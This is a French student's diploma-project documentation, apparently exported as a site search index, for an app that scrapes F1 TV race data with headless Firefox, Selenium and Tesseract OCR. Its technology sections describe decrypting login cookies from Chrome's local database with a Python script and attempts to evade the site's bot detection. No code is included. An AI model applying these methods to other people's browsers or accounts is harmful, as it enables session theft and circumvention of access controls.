l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Protype de l'app fait sur Figma\"","title":"R\u00e9alisation"},{"location":"index.html#cas-dutilisation","text":"'*'On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"index.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"index.html#differences-sur-le-cahier-des-charges","text":"[\u00c0 remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Diff\u00e9rences sur le cahier des charges"},{"location":"index.html#planning-previsionnel","text":"Mes suiveurs m'ont demand\u00e9 un planning de type GANTT pour ce travail de dipl\u00f4me Je n'ai pas utilis\u00e9 un logiciel particulier pour faire ce dernier, mais je me suis inspir\u00e9 des principes fondamentaux d'un diagramme de ce type. Comme l'original a \u00e9t\u00e9 fait sur Excel, je ne peux pas vraiment l'ins\u00e9rer de mani\u00e8re lisible ici, mais il est disponible dans le dossier Planning. Mais voici un r\u00e9sum\u00e9 de son contenu :","title":"Planning pr\u00e9visionnel"},{"location":"index.html#taches","text":"J'ai d\u00e9cid\u00e9 de d\u00e9composer mon planning en trois grands types de t\u00e2ches. Programmation Documentation Tests L'id\u00e9e est de permettre une meilleure lisibilit\u00e9 et de me permettre \u00e0 moi de me faire plus facilement \u00e0 l'id\u00e9e de ce qu'il m'attend. Voici la liste des t\u00e2ches par rubrique :","title":"T\u00e2ches"},{"location":"index.html#pt","text":"Cette rubrique contient les t\u00e2ches qui n'ont pas leur place dans les trois cat\u00e9gories principales.","title":"PT"},{"location":"index.html#pt1-preparation-au-travail-de-diplome-2","text":"Cette t\u00e2che est un peu hors cat\u00e9gorie, mais c'est normal, c'est une supert\u00e2che qui regroupe beaucoup de choses. C'est une t\u00e2che qui est planifi\u00e9e pour deux jours et qui normalement devrait \u00eatre faite les deux premiers jours du travail. Le but est de pr\u00e9parer tout ce qui peut \u00eatre pr\u00e9par\u00e9 en avance niveau documentation et mise en place pour ne pas avoir besoin de s'en soucier ensuite.","title":"PT1 / pr\u00e9paration au travail de dipl\u00f4me (2)"},{"location":"index.html#dt","text":"Rubrique documentation qui contient toutes les t\u00e2ches en rapport de pr\u00e8s ou de loin avec la documentation du projet.","title":"DT"},{"location":"index.html#dt1-creation-du-poster-1","text":"Cette t\u00e2che consiste \u00e0 faire une version num\u00e9rique du poster qui soit en accord avec les consignes qu'on nous a donn\u00e9es. Le but est aussi et surtout de faire poster dont je sois fier et que je sois content de montrer. Il y a d\u00e9j\u00e0 des croquis de poster et j'ai clairement pr\u00e9vu de travailler sur \u00e7a pendant les vacances alors, je n'ai mis qu'un jour et je l'ai plac\u00e9 juste avant le rendu de ce dernier.","title":"DT1 Cr\u00e9ation du poster (1)"},{"location":"index.html#dt2-documentation-analyse-de-lexistant-2","text":"Cette t\u00e2che est d\u00e9di\u00e9e \u00e0 l'\u00e9criture de la documentation et plus pr\u00e9cis\u00e9ment de l'analyse de l'existant. Comme il y a pas mal de technologies utilis\u00e9es dans mon projet, j'aimerais faire correctement un vrai debrief de pourquoi j'ai utilis\u00e9 l'une ou l'autre alors, j'ai assign\u00e9 deux jours dessus.","title":"DT2 Documentation Analyse de l'existant (2)"},{"location":"index.html#dt3-documentation-analyse-organique-5","text":"Cette t\u00e2che est la plus grosse dans la cat\u00e9gorie documentation. Il s'agit de documenter comment l'application fonctionne. J'y ai mis cinq jours et je pense que c'est un minimum car c'est dans cette t\u00e2che que je vais devoir d\u00e9tailler exactement comment fonctionne chaque partie du projet. Ces cinq jours sont \u00e9parpill\u00e9s sur le projet en g\u00e9n\u00e9ral \u00e0 la fin du d\u00e9veloppement de chaque grande partie de projet. Le but est de ne rien oublier et de ne pas avoir \u00e0 tout faire en m\u00eame temps.","title":"DT3 Documentation Analyse organique (5)"},{"location":"index.html#dt4-documentation-analyse-fonctionnelle-2","text":"Cette t\u00e2che est d\u00e9j\u00e0 moins grosse, elle consiste \u00e0 documenter le fonctionnement de l'application et comment utiliser les composants que j'ai d\u00e9velopp\u00e9s. Je l'ai mis en fin de projet, car comme j'ai l'habitude de faire des analyses fonctionnelles plut\u00f4t pr\u00e9cises, le moindre changement dans l'UI peut tout rendre obsol\u00e8te. J'y ai mis deux jours, car j'aimerais correctement documenter avec de bonnes photos et sc\u00e9narios pour qu'on puisse voir toutes les possibilit\u00e9s de l'application.","title":"DT4 Documentation Analyse fonctionnelle (2)"},{"location":"index.html#dt5-documentation-tests-1","text":"Cette t\u00e2che est un peu plus petite qu'elle ne le devrait. Elle concerne la documentation des diff\u00e9rents tests. Je n'y ai mis qu'un seul jour, car en r\u00e9alit\u00e9 les diff\u00e9rentes t\u00e2ches de tests contiennent aussi beaucoup de documentation,","title":"DT5 Documentation Tests (1)"},{"location":"index.html#dt6-documentation-reste-2","text":"Cette t\u00e2che est une t\u00e2che un peu vague. Elle contient toutes les actions autres que j'aurai besoin de faire (Mise au propre, orthographe, g\u00e9n\u00e9ration de PDF ...). J'y ai mis deux jours pour avoir un peu de marge, car ce sont toujours des t\u00e2ches qui paraissent faciles, mais qui \u00e0 la fin prennent beaucoup de temps si on les fait bien.","title":"DT6 Documentation Reste (2)"},{"location":"index.html#pt_1","text":"Rubrique programmation qui contient toutes les t\u00e2ches qui touchent \u00e0 la programmation et au d\u00e9veloppement de l'application.","title":"PT"},{"location":"index.html#pt1-programmation-recuperation-des-images-3","text":"Cette t\u00e2che est estim\u00e9e \u00e0 seulement trois jours, il ne faut pas s'y m\u00e9prendre, c'est une des t\u00e2ches les plus dures et lourdes niveaux documentation en explications. Cependant, un POC (Proof Of Concept) assez avanc\u00e9 a d\u00e9j\u00e0 \u00e9t\u00e9 fait et donc cela permet de n'envisager que trois jours, car il suffit de l'impl\u00e9menter et de la paufinner. Cette t\u00e2che consiste \u00e0 prendre en entr\u00e9e un lien de Grand Prix et de sortir une image tous les x secondes de la page DATA. Cela peut sembler simple, mais pour le faire sans prendre d'espace d'\u00e9cran et ne demandant pas \u00e0 l'utilisateur de copier-coller quoi que ce soit o\u00f9 de donner ses identifiants F1TV c'est un challenge. Cela peut paraitre curieux alors de mettre cette t\u00e2che loin dans le planning m\u00eame si c'est la premi\u00e8re \u00e9tape du projet. Encore une fois cela s'explique avec le fait qu'il y a d\u00e9j\u00e0 un POC qui fonctionne \u00e0 peu pr\u00e8s et que donc pr\u00e9f\u00e8re commencer avec des t\u00e2ches plus incertaines dans le cas o\u00f9 elles prendraient plus de temps que pr\u00e9vu.","title":"PT1 Programmation r\u00e9cup\u00e9ration des images (3)"},{"location":"index.html#pt2-programmation-ocr-5","text":"Cette t\u00e2che consiste \u00e0 d\u00e9velopper la partie qui reconnait le texte sur les images. C'est tr\u00e8s certainement la t\u00e2che qui risque le plus de d\u00e9border car c'est celle qui est la plus complexe techniquement puisqu'elle demande non seulement la lecture sur image, mais aussi le d\u00e9veloppement d'algorithmes de traitement de cette donn\u00e9e pour \u00eatre s\u00fbr qu'elle a bien \u00e9t\u00e9 lue. J'y ai ainsi allou\u00e9 cinq jours, mais j'esp\u00e8re que j'arriverai \u00e0 gagner du temps sur les autres pour y allouer plus dans le planning effectif, car je suis convaincu que plus, on y passe du temps, meilleur sera le r\u00e9sultat.","title":"PT2 Programmation OCR (5)"},{"location":"index.html#pt3-programmation-stockage-et-modele-5","text":"Cette partie est moins technique, mais concerne le stockage des donn\u00e9es que nous retourne la lecture des images. Mais elle va demander de la r\u00e9flexion et de l'intelligence de programmation, car il faut que cette partie anticipe les besoins de la vue et pr\u00e9pare un terrain fertile qui ne demande pas un refactor quand on passera au d\u00e9veloppement de la vue. C'est pour cela que je lui ai aussi assign\u00e9 cinq jours de travail et elle doit absolument \u00eatre commenc\u00e9e apr\u00e8s la lecture.","title":"PT3 Programmation, stockage et mod\u00e8le (5)"},{"location":"index.html#pt4-programmation-vue-de-lapp-5","text":"Cette partie peut \u00eatre horrible comme tr\u00e8s facile, cela d\u00e9pend compl\u00e8tement de la qualit\u00e9 du travail avant. Si le mod\u00e8le est parfait et que les donn\u00e9es sont int\u00e8gres, cela devrait \u00eatre plut\u00f4t simple de les afficher de mani\u00e8re int\u00e9ressante. Cependant, cette partie d\u00e9bordera s\u00fbrement un peu, car tout le temps gagn\u00e9 avec de bonnes donn\u00e9es sera utilis\u00e9 pour tenter de faire de la pr\u00e9diction. Pour ces raisons, je lui ai assign\u00e9 \u00e9galement cinq jours de travail et elle doit absolument \u00eatre faite apr\u00e8s le mod\u00e8le.","title":"PT4 Programmation Vue de l'APP (5)"},{"location":"index.html#pt5-programmation-mise-en-commun-3","text":"Cette t\u00e2che est aussi un petit peu sp\u00e9ciale, car elle regroupe plusieurs choses. En gros, chaque partie de programmation sera s\u00fbrement assez ind\u00e9pendante et il faudra \u00e0 un moment faire un seul projet C# qui contient tout. Il est difficile d'estimer \u00e0 quel point cela va \u00eatre compliqu\u00e9 alors, j'ai \u00e9t\u00e9 conservateur et j'ai mis trois jours.","title":"PT5 Programmation mise en commun (3)"},{"location":"index.html#tt","text":"Cette rubrique contient les t\u00e2ches qui sont uniquement des tests. La plupart des t\u00e2ches de programmations contiennent d\u00e9j\u00e0 des tests, mais certaines demandent une attention particuli\u00e8re.","title":"TT"},{"location":"index.html#tt1-tests-ocr-2","text":"Cette t\u00e2che est une des t\u00e2ches les plus importantes. Son but est de faire un protocole de tests complet qui permette de comparer les diff\u00e9rents algorithmes de reconnaissance de texte. Je l'ai mise apr\u00e8s la reconnaissance, mais m\u00eame maintenant en \u00e9crivant ces lignes, je me dis que dans le planning effectif, elle sera faite pendant la t\u00e2che de programmation. En effet, comment savoir si mon tout nouvel algorithme est r\u00e9ellement mieux que le pr\u00e9c\u00e9dent. Je pr\u00e9vois deux jours, car je pense que faire le dataset va prendre beaucoup de temps, il faut pr\u00e9voir un certain nombre d'images et de texte qui pourront ensuite \u00eatre donn\u00e9es sous forme de tests. C'est certes une t\u00e2che de test, mais c'est aussi de la programmation.","title":"TT1 Tests OCR (2)"},{"location":"index.html#tt2-tests-finaux-2","text":"Cette t\u00e2che de tests est un peu vague, elle regroupe les diff\u00e9rents tests pour v\u00e9rifier que les donn\u00e9es sont bien affich\u00e9es correctement. Ce qui serait cool si j'ai du temps en fin de travail de dipl\u00f4me serait de faire un syst\u00e8me de test qui permet d'entrainer le programme \u00e0 mieux reconnaitre certaines choses comme des arr\u00eats aux stands si on lui donne les trois derni\u00e8res ann\u00e9es de grands Prix. J'ai mis une dur\u00e9e arbitraire de deux jours, mais je ne sais pas vraiment combien de temps cela va vraiment durer. Elle est \u00e9videmment \u00e0 effectuer une fois que tout est \u00e0 peu pr\u00e8s termin\u00e9.","title":"TT2 Tests finaux (2)"},{"location":"index.html#planning-effectif-et-differences","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Planning effectif et diff\u00e9rences"},{"location":"index.html#analyse-fonctionnelle","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"Analyse fonctionnelle"},{"location":"index.html#analyse-organique","text":"","title":"Analyse Organique"},{"location":"index.html#outils-utilises","text":"[A Remplir]","title":"Outils utilis\u00e9s"},{"location":"index.html#technologies-utilisees","text":"Dans ce projet diff\u00e9rents choix ont \u00e9t\u00e9 faits pour ce qui est des technologies. Certaines ont \u00e9t\u00e9 choisies car elles \u00e9taient les plus simples, les plus pratiques, les plus efficaces ou encore les plus connues et donc ayant le meilleur support. Je vais tenter de r\u00e9sumer ici ces choix mais je reviendrai sur la plupart d'entre eux plus tard quand j'explique ce que je fais avec.","title":"Technologies utilis\u00e9es"},{"location":"index.html#selenium","text":"\"Logo de selenium\" Selenium est une librairie \u00e0 la base Node JS qui permet d'automatiser des actions sur un navigateur internet. Le but premier et je pense son utilisation premi\u00e8re est l'automatisation de tests pour des applications WEB. En effet c'est un super outil pour simuler un user faisant un certain nombre d'actions sans apporter de variabilit\u00e9 ce qui fait de supers test unitaires. Cependant je pense que l'autre grande partie des utilisateurs de Selenium l'utilisent pour faire du \"Scrapping\". Et nous sommes un peu dans cette seconde cat\u00e9gorie. Le \"Scrapping\" c'est l'acte d'aller r\u00e9cup\u00e8rer des informations sur des pages web automatiquement pour alimenter sa propre base de donn\u00e9es. En effet, si on arrive \u00e0 passer les protections anti-bot on peut facilemnt utiliser Selenium pour scraper tous les sites qui nous passent par la t\u00eate. Le cahier des charges que j'avais en t\u00eate en cherchant une technologie de contr\u00f4le de navigateur internet \u00e9tait le suivant : Simple Permettant de contr\u00f4ler un navigateur Headless (Voir chapitre \"Simuler un navigateur ?\") Permettant de contr\u00f4ler firefox Ayant un wrapper C# Permettre de changer certaines choses comme les cookies en Live Permettre d'interagir avec les \u00e9l\u00e9ments d'une page Fonctionner Simple car je ne voulais pas avoir \u00e0 passer trop de temps dessus (ca n'a pas bien vieillit lol...). Je voulais que l'on puisse utiliser Firefox car il n'impl\u00e9mente pas les m\u00eames s\u00e9curit\u00e9es que Chrome pour faire simple. J'avais besoin que la lib puisse contr\u00f4ler un Firefox HEADLESS car je ne voulais pas avoir une page web ouvert sur mon ordi quand je commente car c'est de l'espace utilis\u00e9 pour rien. J'avais besoin d'un wrapper C# car c'est le language que j'utilise. Pour finir j'avais besoin d'interragir avec les \u00e9l\u00e9ments de la page pour naviguer dessus et d'ins\u00e8rer des cookies pour me connecter sans avoir \u00e0 passer par le login de la F1TV qui est tr\u00e8s bon pour detecter les bots. Avec un cahier des charges parreil beaucoup de librairies ont \u00e9t\u00e9 abandonn\u00e9es. J'ai pu tester pleins de librairies C# qui arrivaient \u00e0 contr\u00f4ler un Chrome et m\u00eame pas mal qui arrivaient \u00e0 contr\u00f4ler un Chrome Headless. Mais le choix est tr\u00e8s vite restreind quand on veut pouvoir contr\u00f4ler Chrome OU Firefox. A la base mon choix c'\u00e9tait port\u00e9 sur Puppeteer Sharp qui est une librairie qui se veut \u00eatre exactement ce que je veux. \"Logo de Pupeteer\" Je voulais utiliser cette librairie car il y a des plugins qui sont tr\u00e8s orient\u00e9s scrapping, en effet, ils impl\u00e9mentent de nombreuses techniques pour permettre de mieux passer innapercu par les syst\u00e8mes de detection de bots. Sur le papier c'est la librairie parfaite qui correspond parfaitement au cahier des charges que je m'\u00e9tais fix\u00e9 et je pense que si j'utilisais un projet JS elle le serait. Sauf que avec le wrapper C# j'ai eu un certain nombre de probl\u00e8mes: Toutes les versions de la librairie ne fonctionnaient pas. Il fallait faire des tests avec diff\u00e9rentes versions de la librairie et de ses d\u00e9pendences simplement pour faire d\u00e9marrer un browser. Et ca c'est quand ca marchait car il y avait des jours ou des machines ou je n'ai simplement pas pu faire fonctionner la librairie. M\u00eame avec les techniques propos\u00e9es par les plugins \"Stealth\" je n'arrivais pas \u00e0 bypass les s\u00e9curit\u00e9es de la page de login de la F1TV. J'ai essay\u00e9 tout ce que j'ai pu trouver sur internet mais on se fait toujours chopper d\u00e8s que l'on arrive sur la page. Et le pire de tout, impossible de faire fonctionner un vid\u00e9o. J'ai pu faire tout ce que je voulais faire au final en passant par l'utillisation de cookies pour la connexion. Tout ca pour arriver au moment ou il faut lancer la vid\u00e9o, et la, crash. Impossible de faire fonctionner Puppeteer Sharp avec une vid\u00e9o. D\u00e8s qu'elle se lance c'est un crash assur\u00e9 sans message d'erreur clair. Et le soucis c'est que le wrapper C# n'est pas vraiment bien support\u00e9 et que si c'est un bug de la lib je ne risque pas de voir de fix avant un moment si ce n'est jamais. Pour toutes ces raisons, j'ai du abandonner cette librairie ce qui a \u00e9t\u00e9 tr\u00e8s dur car j'avais pass\u00e9 beaucoup de temps dessus \u00e0 essayer de la faire marcher. Ensuite le choix de Selenium \u00e9tait plut\u00f4t simple, c'\u00e9tait la seule option restante. A ce jour je ne connait aucune autre librairie que Puppeteer ou Selenium qui puisse contr\u00f4ler un Firefox Headless en respectant mon cahier des charges et qui soit donc disponible depuis C#. Si je n'arrivais pas \u00e0 faire fonctionner Selenium j'aurai du abandonner l'id\u00e9e de simuler un navigateur tout simplement. Mais j'ai eu la chance que cette librairie fasse tout ce que je pouvais demander. C'est une super lib et m\u00eame si la version C# n'est vraiment pas bien document\u00e9e, la plupart des documentations de la version JS sont pertinentes pour al version C# m\u00eame si ca n'est pas la m\u00eame syntaxe. Pour r\u00e9sumer, j'ai choisis Puppeteer car c'\u00e9tait la seule option viable pour mon besoin. (Note : Par contre si je trouve la personne chez mozilla ou puppeteer qui a d\u00e9cid\u00e9 d'hardcoder la r\u00e9solution maximale du browser Headless que l'on peut override UNIQUEMENT en changeant les variables d'environnement de la machine ET DE NE LE DOCUMENTER QUASI NULLE PART JE JURE QUE CA VA TRES MAL SE PASSER)","title":"Selenium"},{"location":"index.html#csharp","text":"\"Logo C#\" Je pense que c'est le choix le plus simple \u00e0 expliquer. C# est un language de programmation orient\u00e9 objet relativement haut niveau qui a \u00e9t\u00e9 cr\u00e9\u00e9 par Microsoft et qui a comme cible le developpement d'applications pour Windows. (On peut evidemment trouver des adaptations pour le faire tourner sur Linux mais ce n'est pas vraiment le but du language) En plus d'\u00eatre un superbe language de programmation, c'est le language que l'on apprend au CFPT informatique. C'est donc un language avec lequel je suis beaucoup plus \u00e0 l'aise que pour d'autres languages comme le Python ou le JS. Mon but n'\u00e9tait pas de faire une application Web et je travaille sous Windows. Je savais que mon projet allait demander un minimum de programmation orient\u00e9e objet. J'ai donc imm\u00e9diattement pens\u00e9 \u00e0 utliser C#. Cependant j'aurais tr\u00e8s bien pu utiliser un language comme python qui m'aurait clairement facilit\u00e9 la t\u00e2che avec des librairies bien plus fournies et plus souvent mises \u00e0 jour. Mais comme je ne suis pas du tout aussi \u00e0 l'aise avec je pense que le C# \u00e9tait la meilleure option. Mes seuls regrets apr\u00e8s coup sont que je trouve les Windows Forms tr\u00e8s moches et qu'il est particuli\u00e8rement difficile de les rendres plus jolies et que les librairies disponibles en C# pour des sc\u00e9narios tr\u00e8s pr\u00e9cis ne sont pas au niveau de celles pour JS et pour Python. Cependant si j'avais \u00e0 refaire le projet je reprendrais C# je pense.","title":"CSharp"},{"location":"index.html#python","text":"\"Logo Python\" Alors ce choix la est plus commpliqu\u00e9 \u00e0 comprendre. Pour tout le projet j'ai tent\u00e9 de garder le C# comme language et de ne pas utiliser autre chose. Cependant j'ai du utiliser une seule fois le Python dans un cas tr\u00e8s pr\u00e9cis. Je n'aime vraiment pas coder en python de base et clairement j'aurais pr\u00e9f\u00e8r\u00e9 ne pas l'utiliser mais je n'avais pas le choix. Le besoin dans le cas du python \u00e9tait le suivant : J'avais besoin d'un moyen de r\u00e9cup\u00e8rer des strings et les d\u00e9coder avec une cl\u00e9 encod\u00e9e avec le syst\u00e8me propri\u00e9taire de windows d'encodage. Le soucis que j'avais avec le C# c'est que les methodes de decryption ne fonctionnent pas pareil que en python et tous les exemples que je pouvais trouver \u00e9taient en python. J'ai essay\u00e9 pendant un sacr\u00e9 moment de faire fonctionner la decryption en C# mais sans succ\u00e8s. J'ai donc directement utilis\u00e9 le python comme faisait toutes les personnes que je pouvais voir sur internet et je pense que ca n'est pas une mauvaise id\u00e9e. En effet, cela veut dire que si \u00e0 un moment Chrome est mis \u00e0 jour, je n'aurai pas besoin d'aller ouvrir tout le code source de mon projet pour tout recompiler, j'aurai simplement besoin de changer ce script. Un des avantages du Python est quand m\u00eame qu'il y beaucoup plus de gens qui codent dessus, et pour ce genre d'utilisation tr\u00e8s sp\u00e9cifiques c'est plut\u00f4t pratique. Le seul probl\u00e8me c'est que cela oblige l'utilisateur \u00e0 avoir python install\u00e9 sur sa machine et que sa version doit \u00eatre compatible... (les joies de python)","title":"Python?"},{"location":"index.html#firefox","text":"\"Logo Firefox Headless\" J'en parle deja plus bas, mais le choix de navigateur est super important. Deja tous les navigateurs n'ont pas un mode Headless(sans t\u00eate, mieux expliqu\u00e9 dans la rubrique \"Simuler un naviguateur ?\"). Par exemple, m\u00eame si Edge est maintenant bas\u00e9 sur chromium, il n'existe pas de moyen de le faire tourner en Headless pour le moment. Autre soucis, les librairies d'automatisation ne supportent pas tous les navigateurs. Par exemple, beaucoup supportent chrome mais tr\u00e8s peu supportent Firefox ou Edge. Donc il me fallait un navigateur qui puisse op\u00e8rer en Headless et qui soit support\u00e9 par plusieurs librairies d'automatisation. Il n'y a que Firefox et Chrome qui sont conforme \u00e0 ces exigeances (Je n'ai pas verifi\u00e9 pour TOUS les navigateurs. Peut-\u00eatre que les Opera GX ont aussi un mode headless super, mais je me suis concentr\u00e9 sur les navigateurs plus grand public). Chrome est support\u00e9 par plus de lib, mais le soucis c'est que la F1TV utilise un lecteur de vid\u00e9o avec DRM (Plus d'infos la dessus dans la partie \"Simuler un navigateur?\") et donc le choix \u00e9tait simple. Il ne restait que Firefox.","title":"Firefox"},{"location":"index.html#tesseract","text":"Je pense que le choix le plus simple apr\u00e8s le C# fut l'utilisation de Tesseract. C'est tout simplement l'outil le plus utilis\u00e9 pour faire de l'OCR. A la base c'est une lib Python (Ah tiens encore ?) qui peut \u00eatre redoutablement efficace avec le bon dataset. Il existe d'autres outils mais j'ai d\u00e9cid\u00e9 de prendre celui la \u00e0 cause de son support juste incroyable et de son omnipr\u00e9sence dans la documentation OCR. En plus il est facile \u00e0 utiliser et je ne pense pas encore avoir fait le tour de tout son potentiel dans ce projet.","title":"Tesseract"},{"location":"index.html#fonctionnement-general","text":"Avant de passer \u00e0 l'explication de chaques parties du projet en d\u00e9tail, je pense qu'il est important de faire un petit point sur comment toutes les parties du projet s'emboitent et fonctionnement ensemble. Comme ca quand vous lirez l'explication d'une \u00e9tape vous serez conscient de \u00e0 quoi elle sert et ou elle s'\u00eenscrit dans le projet principal.","title":"Fonctionnement g\u00e9n\u00e9ral"},{"location":"index.html#les-briques-principales","text":"Voici trois grosses \u00e9tapes du projet. Pour rappel ce sont des vulgarisations plut\u00f4t larges qui n'ont qu'un seul but, aider \u00e0 la compr\u00e9hension de ce qui vient par la suite.","title":"Les briques principales"},{"location":"index.html#recuperation-dimages","text":"\"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de r\u00e9cup\u00e8ration des images\" Pour faire simple on peut voir qu'il y a deux parties \u00e0 cette \u00e9tape. La premi\u00e8re en partant du haut repr\u00e9sente un script python qui va chercher des informations dans la base de donn\u00e9es de Chrome qui est en SQLITE. Ces informations dans notre cas sont les cookies de connexion. Dans la seconde \u00e9tape, on peut voir que le programme utilise Selenium avec un navigateur Firefox Headless qui va aller communiquer avec la F1TV qui est le site web qui nous int\u00e9resse et que une des infos que l'on r\u00e9cup\u00e8re est une image de la page en format PNG que l'on envoie au programme C#. Ces deux partie sont li\u00e9es car pour se connecter \u00e0 la F1TV Selenium a besoin des cookies de connexion r\u00e9cup\u00e8r\u00e9s par le programme Python. La premi\u00e8re partie est un processus qui n'est utilis\u00e9 qu'une seule fois au d\u00e9marrage tandis que la r\u00e9cup\u00e9ration d'images et en continu pendant toute la dur\u00e9e de l'utilisation de l'application.","title":"Recup\u00e9ration d'images"},{"location":"index.html#ocr","text":"\"Diagramme simplifi\u00e9 repr\u00e9sentant le processur d'OCR\" ; On peut voir dans ce diagramme simplifi\u00e9 qu'avec l'aide de ce que contient le fichier \"Config.JSON\" on d\u00e9coupe l'image que l'on a r\u00e9cup\u00e8r\u00e9 au pr\u00e9alable en petits morceaux qui continennent des informations. Ensuite on prend cette image et on lui applique un filtre pour retirer le flou la couleur etc... Puis en utilisant de l'OCR (Optical Character Recognition) on en r\u00e9cup\u00e8re les informations sous forme de texte et on le renvoie dans le programme C# Dans cette partie explicative g\u00e9n\u00e9rale, on ne reviendra pas sur la cr\u00e9ation de ce fichier config. Pour plus d'infos \u00e0 son sujet voir la rubrique (OCR/Fonctionnement g\u00e9n\u00e9ral)","title":"OCR"},{"location":"index.html#traitement-et-affichage","text":"\"Diagramme simplifi\u00e9 repr\u00e9sentant le processus de traitement et d'affichage\" On peut voir dans ce dernier mini diagramme simplifi\u00e9 que on prend les donn\u00e9es que l'on r\u00e9cup\u00e8r\u00e9 de l'\u00e9tape pr\u00e9c\u00e9dente qui ne sont pas forc\u00e9ment toutes coh\u00e9rentes et qu'on les traite pour leur redonner du sens avant de les stocker dans une base de donn\u00e9es SQLITE. Ensuite cette m\u00eame base de donn\u00e9e fournis les infos nescessaires pour des affichages (Ces affichages sont directements r\u00e9cup\u00e8r\u00e9s depuis le projet en cours de fonctionnement)","title":"Traitement et affichage"},{"location":"index.html#resume-du-fonctionnement-general","text":"\"Diagramme simplif\u00e9 repr\u00e9sentant le processus g\u00e9n\u00e9ral du projet\" Ce dernier diagramme est un sch\u00e9ma fait pour repr\u00e9senter de la mani\u00e8re la plus simple possible toutes les briques du projet et comment elles s'imbriquent ensemble. La repr\u00e9sentation est un peu diff\u00e9rentes des 3 autre diagramme car le but ici est surtout de montrer le chemin que fait la donn\u00e9e \u00e0 travers les couches Toutes les parties du projet ne sont pas incluses, notamment la partie calibration dans un objectif de simplifier la lecture. Dans l'ordre, on peut voir que pour la partie r\u00e9cup\u00e8ration d'images, le python va r\u00e9cup\u00e8rer les cookies dans la base de donn\u00e9es chrome pour ensuite les retourner \u00e0 Selenium. Selenium va ensuite pouvoir lancer un navigateur (en l'occurence Firefox) et utiliser les cookies r\u00e9cup\u00e8r\u00e9s pour aller sur la page de la F1TV qui va retourner un certain nombre d'infos \u00e0 Selenium. L'info qui nous int\u00e9resse le plus depuis Selenium c'est les images de la page data de la F1Tv et c'est elles que l'on va envoyer dans la partie LOAD du diagramme. Dans cette partie on prend l'image de la F1TV et on la decoupe selon les directives donn\u00e9es par le fichier Config.JSON (il renseigne les zones \u00e0 d\u00e9couper et ce qu'elles repr\u00e9sentent) et apr\u00e8s le d\u00e9coupage on se retrouve avec une zone principale, vingt zones de pilotes et 9 fen\u00eatres de donn\u00e9es par zone de pilote donc 180 fen\u00eatres en tout. Ces fen\u00eatres sont ensuite envoy\u00e9es pour \u00eatre filtr\u00e9es (retirer le flou, mettre en \u00e9vidence les caract\u00e8res, en gros les pr\u00e9parer pour la reconnaissance) dans la partie OCR Dans cette partie, apr\u00e8s avoir filtr\u00e9 les images, on les envoie \u00e0 Tesseract pour qu'il nous retourne des r\u00e9sultats d'OCR. Ces r\u00e9sultats sont ce que Tesseract a trouv\u00e9 sur les image et ils sont retourn\u00e9s sous al forme de Data Pilote. Ex (Position: 1,Tour : 45, Temps au tour : 1:34.683, Pneus: Medium etc....) Finalement ces donn\u00e9es 